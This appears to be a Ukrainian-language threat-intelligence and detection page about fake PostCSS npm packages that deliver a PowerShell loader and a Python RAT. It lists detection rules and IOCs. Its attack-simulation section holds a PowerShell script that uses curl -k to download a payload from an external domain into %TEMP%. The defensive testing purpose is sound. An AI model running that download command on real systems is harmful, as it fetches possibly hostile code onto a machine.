PostCSS переодягається як шлях до доставки RAT на Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Атакувальні використовують імітацію npm-пакунків для розповсюдження багатоступеневих Windows RAT. Шкідливі пакунки, такі як postcss-minify-selector-parser подаються як легітимні інструменти збірки для компрометації середовищ розробників. Після активації ланцюг інфекції запускає завантажувач PowerShell, який отримує Nuitka-компільований Python RAT, здатний красти облікові дані та надавати віддалений доступ до оболонки.
Розслідування
Дослідники виявили кластер шкідливих npm-пакунків, що посилаються на легітимні залежності, щоб здаватися правдоподібними. Розслідування визначило багатошарову ланцюг інфекції, що починається з JavaScript-завантажувача, переходить до завантажувача PowerShell і завершується складним Python-навантаженням. Аналізуючи компоненти, компільовані Nuitka, дослідникам вдалося реконструювати протокол командування та управління RAT та підтримувані команди.
Захист
Користувачі мають негайно видалити виявлені шкідливі npm-пакунки та перевірити дерева залежностей на предмет будь-якої транзитивної експозиції. Організації повинні також блокувати відомі домени команди та управління та IP-адреси. Якщо підозрюється компрометація, розробники повинні змінити облікові дані, збережені у браузерах, та всі токени, пов’язані з розробкою, без затримки.
Відповідь
Слід перевірити Windows-ендпойнти на артефакти, такі як %TEMP%winPatch, %TEMP%.store, та %TEMP%.host. Слід також перевірити сталість у HKCURun ключі реєстру для значення csshost. Повний аудит робочих станцій розробника повинен бути проведений для виявлення несанкціонованої активності віддаленої оболонки або ознак крадіжки облікових даних. value. A full audit of developer workstations should be conducted to identify unauthorized remote shell activity or signs of credential theft.
Хід Атаки
Детекції
LOLBAS WScript / CScript (через process_creation)
Переглянути
Підозрілі використання CURL (через командний рядок)
Переглянути
Можлива перерахування системи (через командний рядок)
Переглянути
Архів було розпаковано у підозрілий каталог за допомогою Powershell (через powershell)
Переглянути
Сценарій PowerShell, що завантажує шкідливе навантаження [Windows Powershell]
Переглянути
Виявлення шкідливого мережевого з’єднання, що імітує легітимне завантаження драйвера [Windows Network Connection]
Переглянути
Виявлення шкідливого виконання PowerShell та завантажувального сценарію [Windows Process Creation]
Переглянути
## Виконання симуляції
Попередня умова: Телеметрія & Базова перевірка повинні були пройти успішно.
Обґрунтування: Цей розділ детально описує точне виконання техники атаки (TTP), що розроблена для активації правила детекції. Команди та наратив повинні безпосередньо відображати визначені TTP та прагнути генерувати точну телеметрію, що очікується логікою детекції. Абстрактні або не пов’язані приклади можуть призвести до помилкового діагнозу.
-
Сценарій атаки та команди: Супротивник має намір отримати точку опори в системі, маскуючись під легітимний процес оновлення програмного забезпечення. Для досягнення цього вони використовують PowerShell для виклику вбудованого
curl.exeутиліти. Використовуючи-kфлаг (незахищений), вони обходять перевірку SSL-сертифікатів, і, вказавши шлях призначення у$env:TEMPз назвою файлу, якwinPatch.zip, вони намагаються злитись з шумом рутинних оновлень системи. Мета полягає в завантаженні шкідливого навантаження, яке, після виконання, забезпечить віддалений доступ. -
Сценарій тесту регресії:
# Сценарій симуляції для активації конкретного правила детекції # Примітка: використовується фіктивний URL для безпеки, але імітує точну структуру, вимагаєму правилом. $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win' Write-Host "Виконання симульованої команди шкідливого завантаження..." Invoke-Expression $cmd -
Команди очищення:
# Очистіть завантажений фіктивний файл if (Test-Path "$env:TEMPwinPatch.zip") { Remove-Item -Path "$env:TEMPwinPatch.zip" -Force Write-Host "Очищення успішне: Фіктивний файл видалено." } else { Write-Host "Очищення: Файл не знайдено." }